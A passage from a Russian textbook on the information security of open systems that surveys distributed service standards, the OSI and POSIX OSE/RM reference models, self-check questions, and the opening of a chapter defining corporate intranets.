Термин "управление сообщениями" означает способность сервиса обеспечивать прозрачную пересылку по ИС любого сообщения, независимо от конкретного его типа. Интерпретация и использование сообщений возлагается на ПП, которые пользуются этим сервисом. Частным случаем систем управления сообщениями является электронная почта. Она задумана как аналог обычной почтовой системы для работы с электронными документами и используется для доставки текстовых сообщений (возможно, с присоединенными к ним файлами) от одного пользователя (или прикладной программы) к другому.
1. Стандартизация и модельное представление открытых информационных систем
57
Существуют две основные группы стандартов по сервису управления сообщениями.
1. Стандарт де-юре ISO/IEC 10021 - Message Handling Systems (MHS) и их эквивалент - серия стандартов Х.400.
2. Стандарты де-факто RFC 821, RFC 822 - протокол Simple Mail Transfer Protocol (SMTP), используемый в стеке протоколов TCP/IP; для адресации SMTP обращается к доменной системе имен DNS.
Распределенные файловые сервисы обеспечивают прозрачный доступ к файлам независимо от их физического расположения в РВС. Основное их отличие от сервиса передачи файлов - в том, что вместо передачи целого файла от одной системы к другой передаются только те его части, которые необходимы для выполнения конкретной операции. Распределенные файловые сервисы часто также называют прозрачным доступом к файлам (transparent file access, TFA). Распределенные файловые сервисы могут обеспечивать такие возможности, как управление параллельным доступом, контроль доступа и пр.
Основным стандартом де-юре является ранее упомянутый OSI FTAM, определяющий в том числе возможность прозрачного доступа к файлам. Среди стандартов де-факто наибольшее значение имеет SunNFS, используемый с протоколом TCP/IP, OSF/DCE Distributed File Service (DFS), распределенная файловая система UNF (Universal File System) сетевой ОС NovellNetWare.
Сервисы распределенных баз данных. Рассмотренные до сих пор сервисы обеспечивают доступ к файловым системам, считая файлы неструктурированным набором данных, где любая интерпретация содержания файлов осуществляется самой прикладной программой. Базы данных обеспечивают для ПП функции более высокого уровня, определяя внутреннюю структуру данных и высокоуровневый механизм для хранения и доступа к данным, не касаясь их физической организации.
При организации сервисов баз данных в распределенных средах необходимо решить проблемы пересылки запросов к БД и получения ответов через множество разнородных систем, а также согласовывать состояние БД в различных системах. Данные, которые запрашивает ПП, могут либо располагаться в локальной системе, либо в удаленной, либо быть распределенными, т. е. составляться из данных, находящихся в нескольких системах. Имея в виду различия в моделях и структуре БД и множество различных СУБД, сервис должен обеспечить стандартизованную и прозрачную работу пользователя с распределенными БД.
Основными стандартами по данному сервису являются:
1. ISO/IEC 9579 - Information technology - Open Systems Interconnection - Remote Database Access.
2. Distributed Relational Database Architecture (DRDA) - спецификация, разработанная фирмой IBM.
Распределенные сервисы печати организуют работу пользователя по печати документов в распределенных средах, обеспечивая гот же набор услуг, что и в локальной системе. Основной стандарт по распределенному сервису печати - ISO/IEC 10175 - Information technology - Text and office systems - Document Printing Application (DPA).
Сервисы распределенной обработки транзакций. Ранее уже рассматривалась модель распределенной обработки транзакций и указывалось, что для обеспечения
58
Информационная безопасность открытых систем
переносимости необходима спецификация интерфейсов элементов модели между собой и с ПП. С точки зрения взаимодействия открытых систем необходима стандартизация того элемента, который обеспечивает связь между системами, участвующими в транзакции, — менеджера транзакций. Основным международным стандартом является ISO 10026 - Information technology - Open Systems Interconnection - Distributed transaction processing (OSI-TP). Организация X/Open стандартизировала API для доступа ПП к сервису, удовлетворяющему стандарту OSI-TP. Этот интерфейс носит название ХАР-ТР.
4. Распределенные сервисы человекомашинного взаимодействия соответствуют разбиению распределенных ПП в части сервиса представления. Основная задача состоит в том, что прикладная программа и пользователь должны казаться друг другу расположенными локально, несмотря на различия в системах. Поддержка человекомашинного взаимодействия в неоднородных средах требует стандартного набора протоколов для переноса данных сервиса представления.
Распределенные сервисы человекомашинного взаимодействия характеризуются тем, что часть функций представления выполняется локально в системе пользователя, а часть - удаленно, в той системе, где выполняется прикладная программа. Каждый из распределенных сервисов человекомашинного взаимодействия соответствует аналогичному локальному сервису, но принимает иные формы, а именно:
	локальный командный интерфейс превращается в интерфейс для удаленного исполнения команд (распределенную оболочку);
	символьный интерфейс пользователя обычно превращается в сервис удаленного терминала, или в сервис удаленного входа в систему;
*	GUI, обеспечивающий доступ к ПП через сеть, носит название распределенного оконного интерфейса.
Распределенная оболочка. В распределенной среде пользователь должен иметь командный доступ к сервисам операционных систем, отличных от той, которая установлена в его локальной системе, без необходимости регистрации в каждой удаленной системе. Этот сервис включает следующие функции: выполнение команд оболочки в удаленной системе, выполнение пакетных заданий с обеспечением прозрачности, контроль доступа к системам и ресурсам.
Основной стандарт по сервисам оболочки - IEEE 1003.2 (его эквивалент- ISO/IEC 9945-2:1993 Information technology - Portable Operating System Interface (POSIX) -Part 2: Shell and Utilities).
Удаленный терминал. Символьный интерфейс для удаленного входа в систему часто также называют виртуальным терминалом. Этот сервис должен обеспечивать возможность входа в систему с различного оборудования и через различные транспортные системы.
Существует два основных стандарта по данному сервису.
1. Модель OSI Virtual Terminal (VT), изложенная в стандартах ISO/IEC 9040:1997 - Information technology - Open Systems Interconnection - Virtual Terminal Basic Class Service и ISO/IEC 9041 - Information technology - Open Systems Interconnection - Virtual Terminal Basic Class Protocol.
2. Протокол Telnet из стека TCP/IP.
Распределенный графический интерфейс. Протоколы, специфицирующие распределенный графический интерфейс, должны поддерживать выполнение более
1. Стандартизация и модельное представление открытых информационных систем
59
сложных операций, чем просто чтение/запись в случае виртуального терминала. В неоднородной среде протокол должен поддерживать различные типы устройств ввода-вывода и быть прозрачным для ПП. Основные стандарты де-факто основаны на системе X Window.
5.	Межкатегориальные сервисы в распределенной среде являются расширением аналогичных сервисов локальной платформы. Рассмотрим два основных класса межкатегориальных сервисов: управления системой и безопасности — в аспекте взаимодействия открытых систем. Управление системой и безопасность оказывают значительное влияние на все части РВС и требуют единообразного подхода.
Сервисы административного управления распределенными системами являются критическими для нормального функционирования распределенной системы. Как и в локальной среде, сервисы управления включают в себя много аспектов, такие, как управление конфигурацией сети, управление нештатными ситуациями, управление производительностью, инсталляция ПО и т. д. Но задача управления осложняется тем, что в гетерогенной системе присутствует различное АО, ОС, сети передачи данных; ПП используют разные методы доступа к ресурсам и т. д.
Основным стандартом де-юре по административному управлению РВС служит модель управления OSI, изложенная в стандарте ISO/IEC 7498-4:1989 Information processing systems — Open Systems Interconnection - Basic Reference Model - Part 4: Management framework. Основными элементами этой модели являются:
	менеджер - процесс, который получает и отслеживает управляющую информацию и вызывает операции управления;
•	агент - процесс, который выполняет операции управления по команде менеджера и передает менеджеру информацию для принятия решений по управлению;
*	управляемый объект - представляет управляемые ресурсы.
Собрание сведений об управляемых ресурсах называется базой управляющей информации (Management Information Base, MIB).
Модель получает развитие в следующем наборе стандартов ISO:
ISO/IEC 9595 - Information technology - Open Systems Interconnection - Common management information service (CMIS);
ISO/IEC 9596 - Information technology - Open Systems Interconnection - Common management information protocol (CMIP) — определяет протокол прикладного уровня для передачи управляющей информации;
ISO/IEC 10040 - Information technology — Open Systems Interconnection - Systems management overview;
ISO/IEC 10164 - Information technology - Open Systems Interconnection - Systems Management;
ISO/IEC 10165 - Information technology - Open Systems Interconnection -Management Information Services - Structure of management information.
Аналогом стандартов ISO в стеке протоколов TCP/IP являются:
протокол SNMP - аналог CMIP;
RFC 1155 - структура управляющей информации;
RFC 1213 - структура MIB.
Среди других стандартов по административному управлению системами следует отметить:
60
Информационная безопасность открытых систем
 стратегию управления РВС DME (Distributed Management Framework) организации X/Open;
* модель управления административной информацией CIM (Common Information Model) организации The Open Group.
Многие ведущие фирмы-производители также специфицируют свои подходы к управлению РВС и API к сервисам управления.
Сервисы защиты. Сервис защиты в распределенной (в особенности неоднородной) среде имеет много аспектов и включает много механизмов защиты: идентификацию и аутентификацию, целостность, конфиденциальность данных, контроль доступа и авторизация, неотказуемость (невозможность отказаться от совершенных действий с подтверждением подлинности источника данных или доставки), аудит, административное управление сервисом защиты и пр. Распределенный характер системы добавляет много дополнительных угроз безопасности по сравнению с локальными системами. Так, особенностями РВС являются невозможность обеспечить физическую безопасность системы в целом и, как правило, открытость коммуникационных каналов.
В силу высокой сложности проблемы существует большое количество стандартов по организации сервиса защиты в распределенной среде. В целом в настоящее время наблюдается стремление к интегрированному решению проблем защиты информации в распределенной вычислительной среде.
1.5. Основные модели открытых систем
Появление очень большого числа стандартов в различных областях ИТ привело к необходимости систематизации их в абстрактных логических моделях, отображающих структуру ИС на более высоком уровне, облегчающих классификацию, размещение и применение стандартов. Данные модели не имеют целью подробную структуризацию всей ИС. Скорее их задача выявить принципы архитектурного построения системного и прикладного ПО и его размещения по аппаратным компонентам СОД. Аппаратура при этом выступает в качестве своеобразного фона, "ячеек" для размещения ПО.
Строгой классификации указанных моделей не существует, но различают несколько основных их видов.
Профиль. Отличается высокой точностью описания, фокусируется на подмножестве взаимосвязанных стандартов или архитектур.
Архитектура. Характеризуется очень высокой точностью описания всех концепций, отсутствием двусмысленностей, хорошо специфицированными описаниями сервисов и механизмов их реализации (за исключением деталей реализации).
Каркасная модель (framework). Имеет более низкую точность, описывает только общие концепции, не содержит подробных объяснений и детальных спецификаций. Этим понятием часто обозначаются модели высокой степени абстракции, описывающие общие соглашения, понятия и методы формирования более конкретных моделей.
Далее будут рассмотрены наиболее значительные представители каждого из названных классов моделей.
1. Стандартизация и модельное представление открытых информационных систем
61
1.5.1.	Модель OSI
Модель OSI (Open Systems Interconnection, взаимодействие открытых систем, ВОС) является классическим примером коммуникационной архитектуры. Она определяет семиуровневую модель взаимодействия вычислительных систем. Модель OSI — старейшая из моделей открытых систем.
Модель изложена в стандарте ISO 7498 [9], состоящем из четырех частей:
ISO/IEC 7498-1:1994 Information technology - Open Systems Interconnection - Basic Reference Model: The Basic Model;
ISO/IEC 7498-2:1989 Information processing systems - Open Systems Interconnection - Basic Reference Model - Part 2: Security Architecture;
ISO/IEC 7498-3:1997 Information technology - Open Systems Interconnection - Basic Reference Model: Naming and addressing;
ISO/IEC 7498-4:1989 Information processing systems - Open Systems Interconnection - Basic Reference Model - Part 4: Management framework.
В первой части стандарта определяется базовая эталонная модель (reference model) взаимодействия открытых систем, остальные три части определяют модели безопасности (ч. 2), управления (ч. 4), именования и адресации (ч. 3) в среде открытых систем.
На разработку модели OSI оказали влияние уже существовавшие многоуровневые модели, такие, как SNA и DNA. Выделение в модели именно семи уровней и разделение функций между ними было до некоторой степени произвольным. Оно явилось попыткой найти оптимальное соотношение между противоречивыми требованиями простоты модели и сложности описываемой структуры и стало опорной точкой в формировании сетевых архитектур и определении функций вычислительных сетей.
Архитектура OSI довольно абстрактна и охватывает очень широкий круг аспектов: общие принципы взаимодействия открытых систем, описание каждого из семи уровней, оборудование. Модель оперирует элементами архитектуры: системы, уровни, логические объекты, сервисы, протоколы, блоки данных, соединения - и определяет общие взаимоотношения между этими элементами.
Каждый уровень модели OSI (рис. 8) представляет собой группу взаимосвязанных функций обработки данных и связи между системами, которые могут быть выполнены стандартным образом с целью поддержки различных приложений. Каждый уровень обеспечивает хорошо определенный набор сервисов для вышележащего уровня и, в свою очередь, использует сервисы уровня, находящегося ниже его. Таким образом, процесс осуществления связи между системами разбивается на отдельные, легко управляемые блоки. Все вместе семь уровней обеспечивают коммуникационный сервис между оконечными пользователями (end-to-end). Изменения в протоколе любого уровня могут быть выполнены, не затрагивая соседних уровней.
Стандартизация взаимосвязи открытых систем проявляется в том, что на каждом уровне разрабатываются и утверждаются базовые стандарты двух видов:
	определение сервиса уровня, которое в абстрактной форме описывает доступные извне услуги данного уровня;
	спецификация протокола уровня, которая регламентирует взаимодействие между равноправными объектами уровня, направленное на выполнение требуемого сервиса.
62
Информационная безопасность открытых систем
Верхние уровни модели связаны с логическими аспектами коммуникаций и ориентированы скорее на пользователей сети (обычно это ПП), чем на саму инфраструктуру сети. Эти уровни включают механизмы для координации диалога между приложениями и для подготовки данных с целью обеспечения единой интерпретации их сторонами. Приложения могут иметь доступ к функциям этих уровней через соответствующие сервисы. Основные функции верхних уровней таковы.
	Оконечная открытая система		Промежуточная открытая система		Оконечная открытая система	
	Приложения пользователя				Приложения пользователя	
Уровень 7 Уровень 6 Уровень 5 Уровень 4 Уровень 3 Уровень 2 Уровень 1		Прикладной				Прикладной
						
		Представления данных				Представления данных
						
		Сеансовый				Сеансовый
						
		Транспортный				Транспортный
						
		Сетевой		Сетевой		Сетевой
						
		Звена данных		Звена данных		Звена данных
						
		Физический		Физический		Физический
						
Физическая среда передачи данны:
Рис. 8. Модель взаимосвязи открытых систем OSI
Прикладной уровень (уровень 7) обеспечивает приложения необходимым высокоуровневым интерфейсом к нижележащим коммуникационным сервисам с целью обеспечения их связи с приложениями-партнерами на других системах. К прикладному уровню также принято относить набор специализированных сервисов-приложений, таких, как передача файлов, управление сообщениями, виртуальный терминал, директориальный сервис и т. п. Этими сервисами могут, в свою очередь, пользоваться приложения конечного пользователя. В рамках сервисов, стандартизированных ISO, к ним относятся стандарты FTAM, Х.400, VT, Х.500. Сами приложения пользователя считаются расположенными над прикладным уровнем.
Уровень представления данных (уровень 6) предназначен для согласования синтаксиса и семантики данных в процессе передачи данных между системами.
Сеансовый уровень (уровень 5) обеспечивает сервисы координации диалога между системами: синхронизацию, полномочия, активность.
Нижние уровни обеспечивают транспортные функции сети: они отвечают за физические аспекты коммуникаций и доставку данных между оконечными транспортными пользователями. Основные функции нижних уровней заключаются в следующем.
Транспортный уровень (уровень 4) обеспечивает надежную и эффективную доставку данных между любыми двумя абонентами потенциально ненадежной сети передачи данных, независимо от характеристик и топологии сети.
1. Стандартизация и модельное представление открытых информационных систем 63
Сетевой уровень (уровень 3) обеспечивает адресацию и маршрутизацию сообщений между системами, которые непосредственно не связаны друг с другом в сети. Модули данных на этом уровне обычно носят название пакетов или дейтаграмм.
Уровень звена данных (уровень 2) связан с обменом неструктурированными данными между смежными узлами сети. На этом уровне происходит обмен модулями данных -фреймами - и обеспечивается обнаружение и исправление ошибок передачи.
Физический уровень (уровень I) предоставляет физическое соединение для передачи данных: среду распространения сигнала, интерфейсы, процедуры передачи сигналов по линии связи.
Уровни модели OSI можно сгруппировать в две категории, соответствующие понятиям "транспортный провайдер" (уровни 1^4) и "транспортный пользователь" (уровни 5-7).
Первая версия нормативной модели OSI была принята в качестве стандарта в 1983 г., но и сегодня она имеет важное влияние на развитие концепции открытых систем, так как явилась первой попыткой формирования единого монолитного стека протоколов, который обеспечил бы универсальное взаимодействие всего спектра существующих вычислительных систем.
Появление модели OSI послужило толчком к быстрому росту числа изделий и продуктов ИТ, согласующихся с концепцией открытых систем. Она стала основой разработки очень большого числа стандартов (как де-юре, так и де-факто), относящихся ко всем семи уровням этой модели.
На любом национальном рынке крупнейшим потребителем ИТ наряду с крупными корпорациями является правительство государства. Стремление правительств обеспечить соответствие продуктов и изделий ИТ, приобретаемых различными подразделениями правительственных органов, текущим международным стандартам по взаимодействию открытых систем и тем самым обеспечить по меньшей мере некоторую гарантию их совместной работы обусловило появление правительственных профилей взаимосвязи открытых систем. Среди правительственных профилей наиболее широко известны профили GOSIP (Government OSI Profile) Великобритании и США. GOSIP США стал обязательным стандартом в этой стране в 1990 г., после чего почти каждый основной поставщик продуктов и услуг ИТ в США объявил о наличии совместимых с GOSIP изделий: локальных и глобальных сетей, реализаций систем обработки сообщений, передачи файлов и т. д.
Свои собственные профили создали Франция, Швеция, Япония, Австралия, Гонконг, многие другие страны. Значительная часть работ по стандартизации госпрофи-ля России взаимосвязи открытых систем была проведена в 1995—1999 гг.
Следующий международный стандарт устанавливает общую классификацию, принципы построения и документирования профилей:
ISO/IEC TR 10000-1:1998 - Information technology - Framework and taxonomy of International Standardized Profiles - Part 1: General principles and documentation framework - общая часть стандарта;
ISO/IEC TR 10000-2:1998 - Information technology — Framework and taxonomy of International Standardized Profiles - Part 2: Principles and Taxonomy for OSI Profiles -устанавливает принципы построения и классификацию профилей, создаваемых в рамках модели взаимосвязи открытых систем OSI;
64
Информационная безопасность открытых систем
ISO/IEC TR 10000-3:1998 - Information technology - Framework and taxonomy of International Standardized Profiles - Part 3: Principles and Taxonomy for Open System Environment Profiles - устанавливает принципы построения и классификацию профилей, создаваемых в рамках модели сред открытых систем OSE (Open Systems Environment) (п. 3.2.2).
Профили стандартов на основе модели OSI, безусловно, являются очень важным этапом развития стандартизации открытых систем. Однако профили дают несколько однобокий взгляд на ИС: с точки зрения ее коммуникационной инфраструктуры. В них не видны роль и функции ОС. Кроме того, прикладной уровень профилей стал очень быстро разрастаться, а простая семиуровневая модель оказалась неспособна описать все многообразие компонентов этого уровня и соответствующих им стандартов.
1.5.2.	Модель POS1X
Исторически модель POSIX развивалась от разработки интерфейса переносимой ОС через разработку профилей операционных сред до формулировки модели полноценной среды открытых систем, которая получила название OSE/RM (Open Systems Environment Reference Model).
Первая рабочая группа POSIX была образована в IEEE в 1985 г. на основе комитета по стандартизации ОС, ориентированного на Unix. Первоначально POS1X (Portable Operating System Interface for Computer Environments) - это набор спецификаций для открытых систем, разработанный техническим комитетом по ОС (TCOS) IEEE. Цель POSIX- выработка спецификаций единого, унифицированного, широко поддерживаемого производителями интерфейса для ОС, обладающих свойствами переносимости между ними ПП, пользователей и данных. POSIX составляет большой набор документов, разрабатываемых множеством рабочих групп и комитетов. Основной набор соглашений и концепций для этих спецификаций сформулирован в документе IEEE "Guide to the POSIX Open Systems Environment, P1003.0". Он утвержден в качестве международных стандартов:
ISO/IEC 9945-1:1996 - Information technology - Portable Operating System Interface (POSIX) - Part 1: System Application Program Interface (API) [C Language];
ISO/IEC 9945-2:1993 - Information technology - Portable Operating System Interface (POSIX) - Part 2: Shell and Utilities.
Co временем число рабочих групп POSIX возросло до 18, а их тематика расширилась, охватив все операционные среды, интерфейсы которых соответствовали спецификациям POS1X. Задача рабочих групп трансформировалась в создание профилей различных сред: коммуникационных систем, систем реального масштаба времени, многопроцессорной обработки, суперкомпьютеров, а также отдельных функций этих систем (защита информации, доступ к файлам, именование ресурсов, директориаль-ные сервисы и т. д.).
Некоторые результаты их работы утверждены в качестве официальных международных стандартов:
ISO/IEC 14519:1999 — Information technology - POSIX Ada Language Interfaces -Binding for System Application Program Interface (API) - Realtime Extensions;
ISO/IEC 15068-2:1999 - Information technology - Portable Operating System Interface (POSIX) System Administration - Part 2: Software Administration.
1. Стандартизация и модельное представление открытых информационных систем
65
Осмысление единства различных сторон разрабатываемой проблемы привело в итоге к формулировке единой нормативной модели (функциональной) среды открытых систем, известной как OSE/RM. Эта модель описана с точки зрения пользователя. Она является довольно простой, но ясно определяет основные компоненты СОД и основные концепции формирования открытой среды. Быть может, главное преимущество этой модели состоит в том, что она позволяет легко разделить стандарты открытых систем по двум категориям: либо как интерфейсы (форматы) и протоколы, либо как спецификации, относящиеся к переносимости или способности к взаимодействию.
Модель OSE/RM не является уровневой (рис. 9). Она определяет три категории логических объектов: прикладное ПО (AS), платформу приложений (АР) и внешнюю среду (ЕЕ) - и два типа интерфейсов между ними: интерфейсы прикладного программирования (API) и интерфейсы внешней среды (EEI). Рассмотрим более подробно существо каждого из этих понятий модели.
Прикладное ПО AS
Прикладное ПО AS
Прикладное ПО AS
Программы
Программы
Программы
Данные
Данные
Данные
Документация
Документация
Документация
API
Сервисы API
Сервисы API
API
Сервисы API
Платформа приложений	АР
lEEI
Внешняя среда
ЕЕ Пользователи
Внешние объекть! данных
Коммуникационные средства
Рис. 9. Модель OSE/RM
Прикладное ПО - это часть ПО системы, специфичная для конкретного применения пользователя. Она составляется из программ (исполняемых модулей, командных файлов, интерпретируемых записей исходного кода и т. п.), данных (рабочих данных пользователя, параметров ПП, установок среды экрана пользователя и т. п.) и электронной документации (электронных документов, справок помощи (on-line help) и пр., но бумажная документация сюда не включается). Примерами прикладного ПО являются текстовые редакторы, программы работы с электронными таблицами, программы обработки информации, хранящейся в БД, и многие другие программы, являющиеся специфически пользовательскими по отношению к той или иной платформе. Разработка, интерпретация и исполнение некоторых специальных видов прикладного ПО может осуществляться при посредстве специализированных сред, обеспечивающих определенный вид сервиса на платформе, например СУБД, системы автоматизированного проектирования (САПР), системы управления электронными таблицами и т. п. Одна или более ПП могут работать на одной платформе одновре-
3—2368
66
Информационная безопасность открытых систем
менно, так как каждая прикладная программа трактуется как независимый логический объект.
Платформа приложений - это все остальные элементы СОД, за исключением прикладного ПО: АО, ОС и другие компоненты и подсистемы системного ПО. ПП, требующие ресурсов платформы, запрашивают их путем вызова сервисов через API. Ресурсы, находящиеся вне платформы, запрашивают сервисы через ЕЕ1, и наоборот, EEI являются средствами, через которые сервисы достигают ресурсов внешней среды. Внутренняя структура платформы в модели OSE/RM преднамеренно не рассматривается. Это связано с тем, что в научных и промышленных кругах не существует единого мнения о составе, структуре и взаимосвязях различных модулей платформы.
Внешняя среда - это все компоненты ИС, находящиеся за пределами данной СОД: пользователи, коммуникационные каналы и средства связи, сменные носители данных, устройства ввода-вывода. Интерфейс между АР и ЕЕ включает форматы данных, интерфейсы и протоколы. По отношению к отдельно взятой вычислительной системе все другие вычислительные системы также выступают как объекты внешней среды.
Модель OSE/RM определяет распределенную среду как множество платформ приложений, которые могут взаимодействовать посредством коммуникационных механизмов, внешних по отношению к платформам. Когда одной прикладной программе необходимо связаться с другой программой на другой прикладной платформе, прикладная программа подает запросы к своей локальной платформе через API. Так как АР взаимодействуют через коммуникационный интерфейс EEI, локальная АР транслирует эти запросы в соответствующие действия через EEL OSE/RM также определяет однородный набор стандартных сервисов, предоставляемых пользователям платформ, в соответствии с требованиями спецификаций POSIX о переносимости и способности к взаимодействию. Данная модель делает попытку описать более полный подход к совместимости вычислительных систем, чем подход, основанный на многоуровневых архитектурах типа модели OSI.
Модель принята в качестве международного стандарта ISO/IEC TR 14252:1996 -Information technology - Guide to the POSIX Open System Environment (OSE).
Классификация профилей, которые могут быть построены в рамках модели OSE/RM, определена в стандарте ISO/IEC 10000-3.
Для информационных нужд правительства США был создан профиль на основе модели OSE/RM, который получил название профиля переносимости прикладных программ. Он изложен в документе Application Portability Profile. The U.S. Government Open Systems Environment Profile. Ver. 3.0. NIST Special Publication 500-230, 1996.
Важное значение модели POSIX состоит также в том, что она, очень удачно сформулировав основы концепции открытых систем, явилась базой для создания многих последующих моделей открытых систем, в том числе и основной на сегодняшней день модели открытых систем - TOGAF (The Open Group Architecture Framework), разрабатываемой международной организацией по открытым системам The Open Group [6].
Более подробную информацию на русском языке о стандартах по открытым ИС и способам модельного представления открытых систем можно получить из книг [12-16].
1. Стандартизация и модельное представление открытых информационных систем 67
Вопросы для самоконтроля к гл. 1
I.	Каковы типичные характеристики ИС организации? Поясните требования к идеальным открытым системам. Назовите основные свойства открытых систем.
2.	Какова роль стандартов в концепции открытых систем? Перечислите известные вам международные организации по стандартизации, виды разрабатываемых ими стандартов. Какие формы логической организации стандартов вы знаете?
3.	Поясните основные требования к совместимости вычислительных систем. Что означают понятия переносимости и способности к взаимодействию?
4.	Изобразите базовую модель ИС. Объясните назначение и общую функциональную структуру платформы приложений.
5.	Используя базовую модель ИС, поясните, как осуществляется взаимодействие платформы приложений с ПП и объектами внешней среды?
6.	В чем заключается системный подход к описанию функциональности на основе модельного представления ИС? Какие функциональные блоки выделяют в открытых системах? Каковы способы их взаимодействия?
7.	Как обеспечивается переносимость ПП между открытыми системами?
8.	Как обеспечивается переносимость пользователей и данных между открытыми системами?
9.	Как обеспечивается способность к взаимодействию открытых систем? Что такое коммуникационный интерфейс и стеки протоколов?
10.	Изобразите расширенные модели открытой ИС, иллюстрирующие следующие два понятия: взаимодействующие открытые системы и РВС.
11.	Используя модель РВС, поясните, как происходит формирование образа единой системы.
12.	Какие свойства распределенной вычислительной среды обеспечивают формирование образа единой системы?
13.	Каковы характерные особенности функционирования ПП в распределенной вычислительной среде?
14.	Чем характеризуются модели организации распределенных вычислений: хостовая, клиент-серверная, иерархическая, master-slave, одноранговая, объектная?
15.	Сравните классификацию внутренних сервисов платформы по критериям переносимости и способности к взаимодействию.
16.	Сравните классификацию сервисов данных по критериям переносимости и способности к взаимодействию.
17.	Сравните классификацию сервисов человекомашинного взаимодействия по критериям переносимости и способности к взаимодействию.
18.	Сравните классификацию межкатегориальных сервисов платформы по критериям переносимости и способности к взаимодействию.
19.	Перечислите сетевые сервисы платформы приложений. Расскажите о функциях транспортного провайдера.
2. ИНТРАНЕТ КАК ОТКРЫТАЯ СИСТЕМА
В главе интранет характеризуется как открытая система. Вводится понятие интранета, кратко указываются технологии создания, рассматривается архитектура и описываются этапы создания. Более детально анализируются сетевая инфраструктура, информационное наполнение, приложения, система публикации, управление, функционирование, безопасность и персонал, сопровождающий работу интранета. После этого приводится эталонная модель интранета, состоящая из базовых механизмов и сервисов, системы управления
и информационного наполнения. Обсуждаются вопросы стандартизации для интранета.
Выделяется четыре вида интранета, дается определение экстранета и детально рассматриваются порталы: их классификация, логическая структура, компоненты, схема и сервисы
2.1. Понятие интранета
Одним из основных объектов защиты любой современной организации является ее интрасеть (intranet), или интранет. Интранет - это информационная инфраструктура компании, представляющая собой ее внутреннюю корпоративную сеть, усовершенствованную веб-технологией (с использованием программных продуктов и технологий Интернета, например веб-сервера), технологией клиент-сервер, а также включающая в себя средства управления сетью и распределенными приложениями. Сразу отметим, что веб-технология коренным образом изменяет способы использования информации, предоставляя самые разнообразные возможности для ее пользователей и владельцев и делая сотрудничество независящим от времени и пространства. Это следующий важный этап в эволюции локальных вычислительных сетей, определяемый тремя ключевыми моментами. Во-первых, новые методы управления информацией и их влияние на бизнес-процессы в современной организации. Во-вторых, организационно-методологическая и административная сторона новой технологии управления информацией. В-третьих, вопросы архитектуры, системнотехнической инфраструктуры и технологических средств построения интранета.
Интранет-системы служат для создания интегрированной информационной среды, используемой всеми сотрудниками компании и выполняющей как справочноинформационные функции, так и функции автоматизации различных бизнес-процессов. Их функциональные возможности охватывают очень широкий спектр -начиная от работы со статическими веб-страницами, которые заменяют корпоративные печатные документы или обеспечивают новый способ совместного использования информации, и кончая сложными клиентскими интерфейсами для офисных серверных приложений [17-20]. Они обладают такими огромными потенциальными возможностями за счет применения инструментальных средств, помогающих компаниям эффективнее интегрировать различные информационные технологии, совместно использовать данные, реализовывать системы коммуникаций и коллективной работы. Следующие по популярности приложения для этих систем - управление документами, составление и ведение коллективных расписаний и корпоративных каталогов.
Целями создания такой среды являются:
	постоянное накопление знаний внутри компании и предоставление удобных механизмов использования накопленных знаний;
	ускорение производственного и непроизводственного документооборота;
	сокращение непроизводственных расходов;
2. Интранет как открытая система
69
	распространение корпоративной культуры на всю организацию независимо от места нахождения отдельных подразделений, или пользователей.
При этом:
	создается единое хранилище справочной информации и нормативной документации;
	достигается максимальная стандартизация и упрощение рутинных операций по созданию и публикации документов компании;
	координируются работы и взаимодействие пользователей ИС через системы электронной почты и средства коллективной работы (groupware);
	обеспечивается удобная навигация, быстрый поиск и доступ к информации;
	предоставляется доступ к данным из различных бизнес-приложений;
	поддерживается безопасность доступа к данным и управление ролями пользователей.
Для обмена информацией внутри организации интранет использует технологии глобальной сети Интернет. Кроме того, из интранета почти всегда открыт доступ пользователей (или хотя бы части пользователей) в Интернет.
Впервые понятие интранета было введено в 1994 г. Стивеном Теллином (Steven Telleen) [21] и основывалось на том, что это сеть, используемая организацией и содержащая информацию, доступную только ее сотрудникам. Вначале само слово мало что значило для подавляющего большинства людей, многие из них, прочтя это слово, подумали бы, что это опечатка. После того как это слово завоевало право на жизнь, возник вопрос, что под этим понимается, ведь после того, как термин появился, его стали использовать все. Многие компании "вдруг" обнаружили, что давно этим занимаются и являются "ведущими производителями" в этой области. Сейчас практически невозможно найти фирму, которая бы не говорила, что она находится в авангарде данного направления. При этом глубина понимания и значение, которое люди вкладывают в понятие интранета, очень сильно различаются. Сказать, что интранет - это применение технологии Интернета в рамках корпоративных систем, - это на самом деле не сказать практически ничего.
В настоящий момент четкого определения интранета найти в научной литературе не представляется возможным. Поэтому постараемся описать это уже ставшее реальностью явление современного мира через его характерные черты. Их три.
1.	Использование Интернет-технологий внутри организации с целью облегчения коммуникаций и доступа к информации.
2.	Наличие механизмов, объединяющих людей, процессы и информацию в рамках организации.
3.	Предоставление служащим либо просто информации, заменившей информационные бюллетени, либо доступа к информации, процессам и приложениям посредством корпоративной информационной сети.
Итак, главными отличительными чертами интранета являются:
	ее основа - Интер нет-технологии и стандарты;
	использование внутри организации,
	обеспечение некоторой интеграции ресурсов и доступа.
Применение в интранете интеграционной технологии означает возможность эффективного и разумного объединения всех программных решений (как наработанных
70
Информационная безопасность открытых систем
ранее, так и создаваемых в настоящий момент и проектируемых) на основе разнородного АО в общую информационную среду с едиными правилами генерации и потребления информации, с единым унифицированным доступом к информации [22]. На практике интранет позволяет создать ИС организации на уже существующей основе, независимо от принятой в организации технологии обработки информации, независимо от существующих программных решений и аппаратной платформы. Причина заключается как в максимально обобщенном подходе интранета к потреблению информации, так и в максимально гибких технических методах и подходах, которые лежат в основе интранета. Сила веб-технологии - в эволюционном характере ее внедрения, который позволяет добиться практически 100 %-го сохранения сделанных ранее инвестиций. Все сложное и дорогостоящее хозяйство: сети, компьютеры, БД, прикладные системы - сохраняется, оно не подлежит замене. Его нужно адаптировать, но адаптация не означает ни смены платформы, ни каких-то дополнительных больших вложений в инфраструктуру.
Технологии, необходимые для создания интранета и реализующие их средства, широко распространены. К ним относятся:
1)	протокол TCP/IP как основной способ, при помощи которого компьютеры связываются в сети;
2)	сетевая файловая система, например NFS (Network File System);
3)	веб-браузер (ы) (программа поиска и просмотра системы Web);
4)	веб-сервер (ы);
5)	гипертекстовые редакторы (HTML, Dynamic HTML, XML и т. п.);
6)	средства связи (типа электронной почты, видео- и аудиоконференц-связи и т. п.).
Как и Интернет, для осуществления соединения и обмена данными интранет использует стек протоколов TCP/IP. Он дает возможность уникальной адресации компьютеров в сети (компьютеры имеют IP-адреса) и также обеспечивает механизм, при помощи которого компьютеры могут находить друг друга и соединяться. Доступ к информации с рабочих мест пользователей осуществляется на основе установления IP-соединений между их компьютерами и хранилищами (или источниками) информации.
